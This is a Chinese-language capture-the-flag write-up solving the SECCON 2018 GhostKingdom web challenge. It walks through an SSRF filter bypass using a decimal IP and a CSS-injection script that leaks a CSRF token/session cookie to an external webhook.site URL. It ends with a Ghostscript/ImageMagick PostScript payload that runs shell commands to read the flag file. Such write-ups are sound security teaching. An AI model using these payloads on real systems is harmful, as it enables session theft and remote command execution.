SECCON 2018 GhostKingdom WrtieUp
題目 資訊

進入網站後註冊使用者,登入介面如下:

登入的請求為GET型。
http://ghostkingdom.pwn.seccon.jp/?user=rai4over&pass=test123&action=login
登陸後主介面如下:

-
Message to admin,用於給管理員傳送資訊,包含Normal和Emergency模式,普通模式下css引數為空,標籤無顏色。
http://ghostkingdom.pwn.seccon.jp/?css=&msg=1111&action=msgadm2

在緊急模式下,URL會增加css引數的值,存在CSS注入,並且為base64編碼,標籤新增CSS樣式,標籤變紅。
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=1111&action=msgadm2


提交表單頁面的的csrf令牌和使用者的cookie相同。
-
Take a screenshot,根據連結進行截圖操作。
-
Upload image,只有本地登入的使用者才能使用此功能。
解題思路
首先本地登入賬戶,啟用Upload image,再進一步操作。
Take a screenshot處存在SSRF漏洞,我們可以傳送登入請:
http://ghostkingdom.pwn.seccon.jp/?user=rai4over&pass=test123&action=login
並且我們發現能夠登陸成功,嘗試使用本地登入,發現進行了過濾。
http://127.0.0.1/?user=rai4over&pass=test123&action=login

這裡我們直接轉化IP地址為10進位制,成功繞過過濾,啟用Upload image功能。
截圖處登陸後,本地賬戶會話狀態會在截圖功能一直維持,我們可以帶著狀態訪問其他頁面。
http://2130706433/?user=rai4over&pass=test123&action=login

想辦法獲得這個登陸這個本地賬戶,也就是獲得本地賬戶的cookie,我們就能輕鬆使用Upload image功能。
根據csrf令牌等於cookie的條件,並且該頁面css引數存在css注入,我們可以在傳送資訊頁面竊取csrf令牌,獲得cookie。
指令碼如下:
import base64 import string import urllib string_list = string.ascii_lowercase + string.digits css = "" for x in string_list: css += """input[name="csrf"][value^="9bbc0ec46162afe2aaf796{s1}"] {{ background: url(https://webhook.site/6aca0f2a-f21b-4f56-9c12-88f72c4e238a/9bbc0ec46162afe2aaf796{s2}); }}""".format(s1=x, s2=x) css = urllib.quote(base64.b64encode(css)) URL = "http://2130706433/?msg=11&action=msgadm2&css=" + css print(URL)
最終獲得cookie為9bbc0ec46162afe2aaf796

成功登入本地賬戶

進入圖片上傳模組,上傳圖片後發現後有轉換圖片格式的功能

ImageMagick命令執行漏洞,設定上傳內容,然後轉換圖片格式即可執行命令。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops

Flag為SECCON{CSSinjection+GhostScript/ImageMagickRCE}